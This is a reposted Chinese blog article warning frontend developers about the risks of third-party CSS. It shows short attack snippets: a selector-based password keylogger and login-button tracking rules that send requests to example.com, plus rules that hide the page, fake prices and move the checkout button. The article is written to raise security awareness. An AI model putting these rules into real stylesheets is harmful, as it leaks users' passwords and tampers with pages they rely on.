本文來自@yeaseonzhang；鏈接：http://yeaseonzhang.github.io/2018/04/10/%E5%88%AB%E4%BA%BA%E5%86%99%E7%9A%84css%EF%BC%8C%E4%BD%A0%E6%95%A2%E7%94%A8%E5%90%97%EF%BC%9F/

CSS能做的東西還是很多的，隨著CSS Houdini（胡迪尼）的標準化，會變得更強大...

正文從這里開始 ~

為了實現高效開發，大多數時候會選擇別人實現好的庫/組件引用到自己的項目中，但是這樣真的安全嗎？

大多數web開發者認為只要不使用別人的js，安全就會有保證。Too young, too naive，殊不知“黑客”已經開始在css上做手腳了。

在瀏覽器設置中用戶可以禁用js，但是css卻是沒有辦法禁用的。

首先聊一聊使用第三方資源，能夠造成的危害。

圖片

<img src="https://img.com/iphone6s.jpg">

引用第三方圖片資源，可能會出現2個問題：

• 圖片資源失效
• 圖片資源被替換

上圖展示了使用第三方圖片可能帶來的后果，圖片資源只會影響自身的狀態而不會影響其他部分。

腳本Javascript

<script src="http://example.com/script.js"></script>

腳本的作用范圍就不是圖片能夠比擬的了，腳本能夠隨意控制整個頁面。

• 讀取、篡改頁面內容
• 監控用戶行為
• 使用用戶瀏覽器的算力進行挖礦
• 使用用戶cookie做請求，并轉發響應
• 讀取、篡改瀏覽器storage
• More

注：storage/indexDB 如果被更改，即使刪除了腳本，這些更改仍然不可逆。

只有在完全信任的情況下，才會選擇加載第三方腳本。

CSS

css在作用范圍的方面更加接近于js，因為它同樣是在整個頁面生效。

css能在以下幾個方面對頁面進行操作：

• 增、刪和改頁面內容
• 根據頁面內容發起請求
• 響應用戶交互

與js相比，css不能做到的是修改storage，也不能用來挖礦。

鍵盤記錄器

鍵盤記錄器，指的是頁面會記錄用戶的輸入。目前這種行為只存在于使用React/類React框架的頁面。

input[type="password"][value$="p"] {background: url(//example.com/password?p); }

如果密碼輸入框，輸入以p結尾的密碼，就會發起一個//exaple.com/password?p請求。瀏覽器默認不會記住input輸入框的輸入，這也就是為什么說這種行為只存在于使用React/類React框架的頁面中，下面截取兩個例子。

JD主站沒有使用React/類React框架，輸入框的內容不會再input標簽中顯示value屬性

instagram使用的是React框架，會把輸入框的內容同步顯示在input的value屬性中。

隱藏內容

通過一些技巧，將真正的頁面內容不展示給用戶。

body {display: none; } html::after {content: 'HTTP 500 Server Error'; }

上例將真正的主體內容隱藏，展示給用戶HTTP 500錯誤。

增加內容

.price-value::after {content: '8'; }

商品漲價了誒，估計連賣家都不知道。遇到這種情況用戶一般都不會產生購買欲望了。

移動內容

.move-purchase-button {opacity: 0;position: absolute;top: 100px;left: 100px; }

結算按鈕被第三方css就這樣搞沒了，用戶根本沒辦法完成購買行為，這種情況對電商網站很傷，導致“只能看不能買”。

監控用戶交互

.login-button:hover {background: url('//example.com/login-button-hover'); } .login-button:active {background: url('//example.com/login-button-active'); }

通過上面的代碼，可以用來檢測用戶在登錄按鈕的交互狀態，是hover還是active(點擊)，不同的狀態會發送不同的請求。

如果頁面中適量增加類似css代碼，可以有用來做用戶畫像分析。

轉載于:https://www.cnblogs.com/chenrf/p/9911689.html

總結

以上是生活随笔為你收集整理的前端读者 | 别人写的css，你敢用吗？的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。